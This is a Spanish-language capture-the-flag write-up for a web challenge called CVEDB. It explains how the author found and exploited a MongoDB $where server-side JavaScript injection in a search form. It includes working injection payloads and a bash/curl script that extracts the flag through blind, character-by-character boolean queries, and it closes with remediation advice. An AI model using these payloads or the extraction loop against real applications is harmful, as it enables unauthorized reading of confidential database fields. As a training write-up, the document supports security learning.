Datos del reto
| Campo | Valor |
|---|---|
| Nombre | CVEDB |
| Categoría | Web |
| Descripción | "Let's implement our own CVE database with modern web-scale technologies, so without actual SQL." |
| URL | http://52.59.124.14:5000/ |
| Flag | ENO{This_1s_A_Tru3_S1mpl3_Ch4llenge_T0_Solv3_Congr4tz} |
Reconocimiento
Tecnologías Identificadas
whatweb 52.59.124.14:5000
http://52.59.124.14:5000 [200 OK] Country[UNITED STATES][US], HTML5, IP[52.59.124.14], X-Powered-By[Express]
- Backend: Node.js con Express
- Base de datos: MongoDB (inferido por la pista "without actual SQL" = NoSQL)
- Funcionalidad: Búsqueda de CVEs mediante un formulario POST a
/searchcon parámetroquery
Análisis de la Aplicación
La aplicación presenta un buscador de CVEs. Al buscar "CVE" se obtienen 26 resultados. Un CVE sospechoso aparece:
- CVE-1337-1337 (fecha: 1970-01-01, severidad: Critical)
- Descripción: "This CVE leaks some very confidential flag."
En el HTML se observan campos comentados que sugieren campos ocultos en la base de datos:
<!-- <div class="cve-product">TODO cve.product</div> -->
<!-- <div class="cve-vendor">TODO cve.vendor</div> -->
Análisis de la vulnerabilidad
Comportamiento del Motor de Búsqueda
Primero se determinó que la búsqueda usa expresiones regulares (regex) contra los campos id y description:
| Query | Resultado | Interpretación |
|---|---|---|
CVE |
26 resultados | Regex válido, todos los IDs contienen "CVE" |
flag |
1 resultado | Solo CVE-1337-1337 menciona "flag" en la descripción |
.* |
26 resultados | Wildcard regex, coincide con todo |
( |
Error de BD | Regex PCRE inválido (grupo sin cerrar) |
) |
Error de BD | Regex PCRE inválido |
ENO |
0 resultados | La flag no está en campos buscables |
Descubrimiento: Inyección en $where de MongoDB
La pista clave fue el hint: "without actual SQL" = NoSQL (MongoDB). El backend construye una consulta $where con el regex del usuario interpolado directamente en código JavaScript.
La estructura del backend es aproximadamente:
// Vulnerable - user input interpolated into $where JavaScript
const filter = {
$where: `/${query}/i.test(this.description) || /${query}/i.test(this.id)`
};
collection.find(filter);
Esto permite Server-Side JavaScript Injection (SSJI) al cerrar el literal regex (/) e inyectar código JavaScript arbitrario.
Prueba de Concepto
Payload: test/i)||true||(/test
Esto transforma la consulta $where en:
/test/i)||true||(/test/i.test(this.description) || /test/i)||true||(/test/i.test(this.id)
/test/ies un regex literal válido)||true||(inyectatruecomo valor de retorno- El resultado es
truepara TODOS los documentos → 26 resultados
Explotación
Paso 1: Verificar acceso a campos del documento
En el contexto $where de MongoDB, this referencia el documento actual. Se verificó qué campos existen:
this._id → 26 resultados (existe en todos los documentos)
this.description → 26 resultados (existe)
this.product → 26 resultados (existe)
this.vendor → 26 resultados (existe)
this.severity → 26 resultados (existe)
this.flag → 0 resultados (NO existe)
Paso 2: Localizar la flag
La flag NO está en un campo llamado flag, sino en los campos product y vendor. Se verificó con:
Payload: 1337/i)&&(this.product.startsWith("ENO"))&&(/1337
// Se convierte en:
/1337/i)&&(this.product.startsWith("ENO"))&&(/1337/i.test(this.description) || ...
Resultado: 1 resultado (CVE-1337-1337) → El campo product comienza con "ENO".
Paso 3: Extracción Blind Character-by-Character
Se determinó que la flag tiene 54 caracteres verificando this.product.length:
this.product.length > 50 → true
this.product.length > 60 → false
this.product.length == 54 → true
Luego se extrajo carácter por carácter usando startsWith():
Payload genérico:
1337/i)&&(this.product.startsWith("ENO{T"))&&(/1337
Script de extracción (simplificado):
FLAG="ENO{"
CHARSET='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}'
for pos in $(seq 4 53); do
for char in $(echo $CHARSET | fold -w1); do
test_prefix="${FLAG}${char}"
payload="1337/i)&&(this.product.startsWith(\"${test_prefix}\"))&&(/1337"
result=$(curl -s -X POST http://52.59.124.14:5000/search \
--data-urlencode "query=${payload}" | grep -c 'Found 1')
if [ "$result" -eq 1 ]; then
FLAG="${FLAG}${char}"
break
fi
done
done
echo "FLAG: $FLAG"
Resultado
Después de ~600 peticiones HTTP (~10 minutos), se extrajo la flag completa:
ENO{This_1s_A_Tru3_S1mpl3_Ch4llenge_T0_Solv3_Congr4tz}
Flag
ENO{This_1s_A_Tru3_S1mpl3_Ch4llenge_T0_Solv3_Congr4tz}
Lecciones aprendidas
| Aspecto | Detalle |
|---|---|
| Tipo | NoSQL Injection / Server-Side JavaScript Injection (SSJI) |
| Ubicación | Parámetro query en POST /search |
| Causa raíz | Interpolación directa del input del usuario en una expresión $where de MongoDB con regex literal |
| Impacto | Ejecución de JavaScript arbitrario en el contexto del servidor MongoDB, permitiendo leer cualquier campo de cualquier documento |
| Remediación | Usar $regex como operador de MongoDB en lugar de $where con interpolación de strings. Sanitizar el input del usuario. |
Además:
- Nunca interpolar input del usuario en
$where: El operador$wherede MongoDB ejecuta JavaScript y es inherentemente peligroso con input no sanitizado. - "Without SQL" no significa seguro: Las bases de datos NoSQL tienen sus propios vectores de inyección.
- Campos ocultos no son campos seguros: Aunque la UI no muestre ciertos campos (product, vendor), un atacante puede acceder a ellos si existe una vulnerabilidad de inyección.
- Blind injection es poderosa: Incluso sin ver directamente los datos, se pueden extraer mediante técnicas de inyección ciega booleana.